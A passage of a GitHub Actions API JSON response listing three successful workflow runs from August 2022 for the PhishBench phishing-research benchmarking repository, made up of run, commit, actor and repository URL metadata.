https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601271,"name":"URL Integration Test","node_id":"WFR_kwLOCLXpC86nDE03","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Url_Integration_Test.yml","display_title":"Update docs","run_number":100,"event":"push","status":"completed","conclusion":"success","workflow_id":12794728,"check_suite_id":7680615884,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczlzA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601271","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:31:04Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680615884","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601271/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794728","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601268,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nDE00","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Email_Integration_Test.yml","display_title":"Update docs","run_number":100,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7680615882,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczlyg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601268","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:41:11Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680615882","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601268/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601261,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nDE0t","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Unit_Test.yml","display_title":"Update docs","run_number":241,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7680615872,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczlwA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601261","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:26:47Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680615872","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601261/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","ur